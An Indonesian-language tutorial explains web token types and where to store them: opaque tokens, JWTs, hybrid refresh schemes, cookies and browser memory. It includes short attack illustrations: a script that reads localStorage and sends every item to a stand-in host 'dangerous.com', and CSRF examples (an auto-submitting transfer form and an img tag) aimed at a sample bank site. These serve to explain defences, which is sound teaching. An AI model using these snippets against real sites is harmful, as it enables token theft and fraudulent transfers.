
Authentication adalah proses verifikasi untuk memastikan bahwa orang yang menggunakan aplikasi adalah pemilik akun yang sah. Biasanya ini dengan cara verifikasi username & password, sidik jari, Single Sign-On, atau metode lainnya. Authorization adalah proses validasi untuk memeriksa perizinan user tiap mengakses aplikasi. Ada beberapa cara untuk melakukan Authorization, seperti dulu menggunakan Basic base64(user:password), hingga sekarang menggunakan OAuth2.0 yang populer digunakan. OAuth2.0 (Open Authorization) adalah framework Authorization yang ga membutuhkan username & password, melainkan menggunakan token yang didapatkan setelah proses Authentication berhasil. Format token yang paling populer saat ini adalah Opaque Token dan JWT.
Stateful Token
Stateful Token adalah token yang disimpan di server. Salah satu jenis Stateful Token yang populer digunakan untuk Authorization adalah Opaque Token, yaitu token berupa karakter random dan secure secara cryptography. Setelah berhasil Authentication, nanti aplikasi akan generate token random yang akan disimpan di server dan di browser. Contohnya JSESSIONID di Spring Security by default menggunakan Opaque Token. Kalau di Java bisa digenerate menggunakan SecureRandom.getInstanceStrong(). Token ini akan dikirim oleh browser tiap request dan akan divalidasi di server untuk memastikan request tersebut memiliki akses. Ini dinilai aman karena ga ada info apa pun di dalamnya, hanya sebagai kunci yang valid bagi seorang user. Kita bisa cabut hak akses token tersebut dari server dengan gampang jika terjadi kebocoran token. Kekurangannya, kita perlu menyimpan ini beserta info terkait di server, entah itu di memori aplikasi, memori database, atau permanen di database. Jika disimpan di memori aplikasi maka aplikasinya jadi susah scaling. Selain itu, jika kita perlu validasi waktu expire atau terkait data user dengan token tersebut maka kita perlu query lagi ke database. Ini cocok untuk aplikasi dengan kebutuhan keamanan tingkat tinggi seperti aplikasi perbankan.
Stateless Token
Stateless Token adalah token yang bisa divalidasi menggunakan cryptography lewat payload & signature di dalam token tersebut tanpa perlu disimpan di server. Contohnya ada Branca, Macaroons, PASETO, JWT, dan lainnya. Mungkin nanti gw bakal tulis juga secara spesifik tentang Stateless Token😃. JWT (JSON Web Token) adalah format Stateless Token yang paling populer saat ini. JWT terdiri dari 3 bagian: Header, Payload, dan Signature. Header berisi tentang info algoritma yang dipakai, tipe JWT, dan hal-hal teknis lainnya yang di-encode. Payload berisi informasi yang di-encode, seperti waktu expire (exp), penerbit token (iss), target client (aud), user roles, scopes, serta info-info penting terkait user yang bisa di-custom sesuai kebutuhan untuk validasi yang bukan data sensitif karena ini hal yang bisa dibaca. Signature adalah hash menggunakan secret key atau enkripsi asymmetric menggunakan private key dari header & payload sehingga value dari JWT ini ga bisa diubah dari luar selama key yang digunakan ga bocor. Setelah berhasil Authentication, nanti server akan membungkus header JWT dan payload untuk di-encode menggunakan base64. Lalu itu di-hash dengan secret key atau dienkrip secara asymmetric menggunakan private key yang ada di server sesuai tipe algoritma JWT yang dipakai dan itu dijadikan sebagai signature. Ini yang akan dikirim ke browser dan akan digunakan browser di tiap request untuk Authorization. Saat request diterima server maka akan divalidasi dengan cara header & payload di-hash ulang dengan secret key yang sama kemudian dibandingkan dengan JWT yang dikirim browser, atau diverifikasi menggunakan public key jika signaturenya menggunakan private key. Jika valid, maka lanjut ke validasi selanjutnya. Di sini ga perlu query lagi ke database untuk validasi lainnya terkait user ataupun waktu expire karena sudah ada infonya di dalam payload sehingga lebih cepat. Kekurangannya, karena ini ga disimpan di server, maka token ini ga bisa dicabut hak aksesnya begitu saja. Ini rentan terhadap Replay Attack di mana server ga bisa ngebedain token ini dikirim hacker atau bukan dan token tersebut bisa digunakan berkali-kali sebelum melewati waktu expire yang ada di payload. Ini cocok untuk aplikasi yang butuh akses cepat dan keamanan yang ga terlalu ketat.
Hybrid Token
Jalan tengah dari keduanya adalah Hybrid. Ini juga populer digunakan aplikasi jaman sekarang. Kita perlu 2 token: Access Token dan Refresh Token. Acess Token adalah Stateless Token yang digunakan di tiap request. Token ini umurnya pendek, bisa 1 hari, 1 jam, 30 menit, bahkan 15 menit tergantung kebutuhan. Refresh Token adalah Stateful Token yang digunakan untuk generate ulang Access Token yang udah expire. Token ini umurnya panjang, bisa sehari, seminggu, sebulan, bahkan setahun tergantung kebutuhan. Kita perlu siapkan url khusus untuk refresh Access Token seperti /auth/refresh. Selama Refresh Token belum expire maka Access Token yang expire bisa di-generate ulang hingga Refresh Token expire. Dengan begini, validasinya lebih cepat dan jika kita ingin mencabut hak akses token tersebut maka cabut saja Refresh Tokennya. Kekurangannya, karena yang bisa dicabut hanya Refresh Token, maka Access Token tetap bisa digunakan untuk mengakses API sampai expire. Makanya, Access Token itu wajib dibuat berumur pendek biar lebih aman. Ini cocok untuk aplikasi yang butuh akses cepat dan keamanan yang lebih baik.
Local Storage / Session Storage
Sekarang kita lanjut tentang tempat menyimpan token. Local Storage adalah storage tempat menyimpan data di browser yang permanen. Sedangkan Session Storage ga disimpan permanen, saat tab atau browser ditutup maka data akan dihapus. Dengan pendekatan ini kita perlu kirim token lewat header Authorization di tiap request.
let res = await fetch(`${site}/profile`, {
method: 'GET',
headers: {"Authorization": "Bearer " + localStorage.getItem('token')}
});Namun sebaiknya ini hanya digunakan untuk menyimpan config local di browser saja kayak tema, bahasa, format tanggal, dan sejenisnya. Untuk token atau hal-hal sensitif lainnya ga dianjurkan karena rentan terhadap XSS attack. Data yang disimpan di sini bisa diakses secara global. Misalkan kita memasang script atau dependency dari luar yang mengandung code berbahaya maka hacker bisa mendapatkan data tersebut tanpa kita sadari. Contohnya seperti ini:
let length = localStorage.length;
for(let i = 0; i < length; i++){
let key = localStorage.key(i);
let item = localStorage.getItem(key);
console.log(key + " : " + item);
fetch(`http://dangerous.com?key=${key}&item=${item}`, {
method: "POST",
}); //DANGEROUS😱
}Cookie
Alternatifnya adalah menggunakan Cookie, yaitu file text yang berisi informasi yang dibuat oleh server dan disimpan di browser. Kita ga perlu kirim header Authorization di tiap request secara manual karena bisa diatur untuk mengirim Cookie secara otomatis.
let res = await fetch(`${site}/profile`, {
method: 'GET',
credentials: 'include'
});Untuk menghindari Cookie bisa diakses oleh JavaScript, maka perlu tambahkan config HttpOnly:true. Dengan begini script apa pun ga akan bisa mencuri token yang disimpan seperti pada kasus menyimpan token di Local Storage atau Session Storage. Jika menggunakan HTTPS maka wajib tambahkan config Secure:true. Ini tetap ada kekurangannya. Di sini kita perlu mecegah CSRF attack. Bisa saja ada website phishing yang memiliki tampilan yang mirip dengan website kita. User yang pernah login di website kita dan memiliki Cookie bisa terjebak dan menginput form di website phishing. Misalnya web kita di https://bank.com dan memiliki API transfer uang. Lalu ada hacker yang membuat web phishing dengan nama https://bankk.com menggunakan form dan action untuk transfer ke rekening mereka menggunakan API transfer dari web kita:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="devil">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>Saat submit maka Cookie user dari https://bank.com bisa terkirim bersama data form berbahaya lewat website phishing tersebut untuk transfer ke rekening hacker😱. Ini perlu dicegah dengan menambahkan config SameSite:Lax agar Cookie hanya bisa terkirim jika request tersebut berasal dari halaman https://bank.com sesuai value action form atau pada GET request dari clickable link.
Kelemahan lainnya, misalkan ada request dengan method GET yang bisa mengubah data di server. Ini juga rentan terhadap CSRF attack ketika ada tag img dengan source berisi URL sensitif pada web phishing atau email HTML yang dikirim hacker sehingga langsung tereksekusi membawa Cookie saat user membuka halaman😱.
<img src="https://bank.com/transfer?to=devil&amount=1000"/>Solusinya, method GET hanya digunakan untuk request yang read-only dan jangan pernah digunakan untuk mengubah data. Gunakan method POST, PUT, PATCH, atau DELETE untuk mengubah data. Jika ingin lebih aman lagi, maka gunakan config SameSite:Strict agar Cookie ga akan bisa terkirim selain dari web yang sama, termasuk pada clickable link. Dengan begini maka token jadi lebih aman. Ini dengan syarat web & API berada di situs yang sama, misalnya web & API sama-sama di https://bank.com, atau API-nya di https://api.bank.com. Selain itu, Cookie ukuran maksimalnya hanya 4KB. Oleh karena itu Cookie hanya cocok untuk Stateful Token tanpa ada data lain di dalamnya karena jika ada data yang panjang maka ga bisa digunakan.
Browser Memory
Alternatif lainnya adalah dengan menyimpannya di browser memory. Ini cocok pada website SPA (Single Page App). Kita perlu fetch ke server untuk mendapatkan token lalu disimpan ke dalam sebuah variabel di browser. Ini aman dari CSRF attack karena bukan Cookie. Ini lebih aman daripada Local Storage & Session Storage dengan syarat disimpan menggunakan variabel let dan script atau dependency lain di-load sebelum variabel tersebut.
<script src="https://dangerous.com/script.js"></script>
<script>
let token = getToken(); //dangerous script can't access this👍
let res = await fetch(`${site}/profile`, {
method: 'GET',
headers: {"Authorization": "Bearer " + token}
});
</script>Jika masih menggunakan var maka tetap bisa dicolong lewat XSS attack, jadi penggunaan var wajib dihindari❌.
<script src="https://dangerous.com/script.js"></script>
<script>
var token = getToken(); //dangerous script can access this😱
</script>Kelemahannya, tiap refresh halaman, buka tab baru, atau pindah halaman pada website MPA (Multi Page App) maka tokennya akan hilang.
Server Side
Ini sebenarnya mirip dengan menyimpan di browser memory. Bedanya, selain di browser token juga akan disimpan di server setelah login sukses. Ini biasanya digunakan untuk menyimpan Access Token pada metode Hybrid yang dikombinasikan dengan Cookie sebagai tempat menyimpan Refresh Token. Tiap refresh halaman, buka tab baru, atau pindah halaman pada website MPA, maka kita akan fetch ke server dan akan mendapatkan kembali token yang sama dari server lalu menyimpannya ke dalam sebuah variabel di browser. Dengan begini user ga akan kehilangan token karena token yang hilang di browser bisa didapatkan kembali dari server selama belum expire tanpa perlu generate ulang tiap fetch. Setelah mendapatkan token, di tiap request browser akan mengirimkan token tersebut lewat header Authorization sama seperti sebelumnya. Kekurangannya, ini jadi ga Stateless seutuhnya karena kita menyimpan token di server dan harus query buat ngambil token. Agar lebih cepat tanpa query tiap fetch, maka token perlu disimpan di server cache.
Best of Both Worlds
Masing-masing tipe token dan tempat penyimpanannya memiliki kelebihan dan kekurangan. Website jaman sekarang mulai menggunakan metode Hybrid. Refresh Token berupa Stateful Token disimpan pada Cookie. Agar peluang terjadinya CSRF attack mengecil, Cookie perlu di-set untuk path tertentu seperti /auth. Dengan begitu Cookie tersebut hanya dikirim saat mengakses url dengan path berawalan /auth seperti /auth/refresh, /auth/logout, dan lainnya. Cookie tersebut juga di-set menggunakan HttpOnly:true agar aman dari XSS attack dan SameSite:Lax agar aman dari CSRF attack. Sedangkan Access Token berupa Stateless Token disimpan pada browser memory atau server side yang nantinya akan dikirim lewat header Authorization di tiap request. Setiap Access Token expire, halaman di-refresh, atau buka tab baru, maka browser akan memanggil API /auth/refresh untuk mendapatkan Access Token selama Refresh Token belum expire tanpa kehilangan akses. Agar tokennya ga bentrok saat refresh, maka itu perlu dilakukan secara synchronous di browser. Biar proses refresh Access Token lebih cepat, maka saat login setelah menyimpan Refresh Token di database perlu cache di memory database juga seperti Redis. Jadi saat validasi Refresh Token kita hanya perlu ambil data dari cache tanpa query ke database. Sample code metode ini gw share pake Java di repo github gw.
Refresh Token Rotation
Meskipun Refresh Token berumur panjang, ketika Refresh Token expire maka user tetap harus login ulang. Bagi sebagian user yang sering mengakses aplikasi, itu menjengkelkan😡. Beberapa aplikasi modern memiliki periode rotasi, di mana Refresh Token diperbarui sebelum expire sehingga user ga perlu login ulang. Misalkan Refresh Token di-set untuk expire setelah 1 bulan. Kita ingin 5 hari sebelum expire Refresh Token tersebut akan dirotasi dengan Refresh Token yang baru tanpa membuat user login ulang. Ini perlu di-handle pada API /auth/refresh, jika Refresh Token sudah memasuki periode rotasi maka saat call API refresh kita perlu expire-kan Refresh Token yang lama dan generate Refresh Token dan Access Token yang baru. Contohnya, user login di tanggal 1 Januari jam 09:00 dan Refresh Token expire di tanggal 1 Februari jam 09:00. Maka periode rotasinya adalah dari tanggal 27 Januari jam 09:00 hingga 1 Februari jam 08:59. Saat user menggunakan aplikasi kita di periode tersebut, maka di saat itulah Refresh Token dirotasi. Jika user ga menggunakan aplikasi kita di periode tersebut maka barulah user harus login ulang. Ini yang umum dilakukan aplikasi modern seperti sosial media, makanya kita ga pernah login ulang di browser selama kita masih sering membukanya. Jika kita sudah lama ga mengaksesnya biasanya kita akan logout otomatis karena Refresh Tokennya expire.
Hash Refresh Token
Dengan pendekatan di atas, peluang hacker untuk mencuri token memang berkurang. Masalahnya, jika Refresh Token disimpan di database secara telanjang maka engineer aplikasi yang punya akses ke database bisa mencurinya😱. Untuk itu agar Refresh Token yang disimpan di database ga disalah-gunakan oleh engineer maka kita perlu simpan tokennya di server berupa hash. Yang dikirimkan ke browser adalah Refresh Token yang asli, sedangkan yang disimpan ke database dan cache adalah Refresh Token yang sudah di-hash. Saat validasi Refresh Token, token asli yang dikirim browser perlu di-hash dulu sebelum divalidasi dengan Refresh Token yang disimpan di server.
Fingerprint
Untuk tambahan layer keamanan, kita juga bisa menyimpan hash Fingerprint pada token. Fingerprint ini bisa berupa IP, browser, OS, device, dan sejenisnya. Data tersebut kita hash dan disimpan di token. Saat melakukan request maka browser perlu mengirimkan data-data tersebut. Di server nantinya informasi tersebut akan di-hash lalu dicocokkan dengan hash yang ada di token. Misalkan data di Fingerprint token browsernya Mozilla, lalu ada request dengan token yang sama tapi dengan data browser berbeda maka request tersebut bisa ditolak. Makanya kadang ada aplikasi yang kalau kita pakai VPN atau update browser maka akun kita logout sendiri. Ini optional tergantung kebutuhan bisnis.
Blacklist Stateless Token
Tambahan layer keamanan lainnya, kita juga bisa tambahkan blacklist Stateless Token di memori database berupa Set of Stateless Token yang masih aktif yang di-blacklist. Misalkan ada Stateless Token yang dicurigai telah dicuri bisa kita tambahkan di sana. Nanti tiap request perlu kita validasi apakah Stateless Token tersebut termasuk token yang di-blacklist atau bukan. Ini optional sih untuk aplikasi yang memang kebutuhan keamanannya cukup tinggi. Secara umum jika Stateless Token yang kita buat sudah berumur pendek harusnya itu sudah cukup. Menurut gw, kalau memang kebutuhan keamanannya cukup tinggi, jangan pakai Stateless Token, mending pakai Stateful Token aja.
Verdict
Authentication itu ibarat check in di hotel, sedangkan Authorization itu ibarat kunci kamar yang diberikan setelah check in sehingga kita ga perlu check in lagi tiap keluar-masuk kamar. Metode Hybrid dengan Refresh Token di Cookie dan Access Token di server side sekarang lagi populer digunakan untuk Authorization pada aplikasi top kayak Spotify, X, ChatGpt, dan lainnya karena memberikan jalan tengah di antara kelebihan dan kekurangan. Aplikasi yang memang butuh keamanan tingkat tinggi biasanya menggunakan Cookie dan Stateful seperti perbankan, Facebook, dan lainnya. Penggunaan Local Storage ga aman, meskipun begitu masih ada aplikasi yang menggunakannya seperti DeepSeek dan Jobstreet. Sedangkan untuk aplikasi mobile biasanya token disimpan di Keychain pada iOS atau Keystore pada Android. Sebagian aplikasi memilih Stateless Token karena validasinya cepat. Sebagian lainnya memilih Stateful Token karena lebih aman. Aplikasi kayak Google menggunakan pendekatan berbeda, mereka punya metode sendiri menggunakan SAPISID di Cookie dan Access Tokennya di-hash dengan timestamp sehingga tiap request tokennya bisa beda. Konsekuensinya tentu itu lebih kompleks lagi implementasinya. Semuanya kembali lagi tergantung kebutuhan aplikasi dan seberapa toleran kita terhadap kekurangan dari pilihan pendekatan tersebut. Tentunya perfect security itu ga ada, yang penting kita harus paham kekurangan dari pilihan kita dan meminimalisirnya.
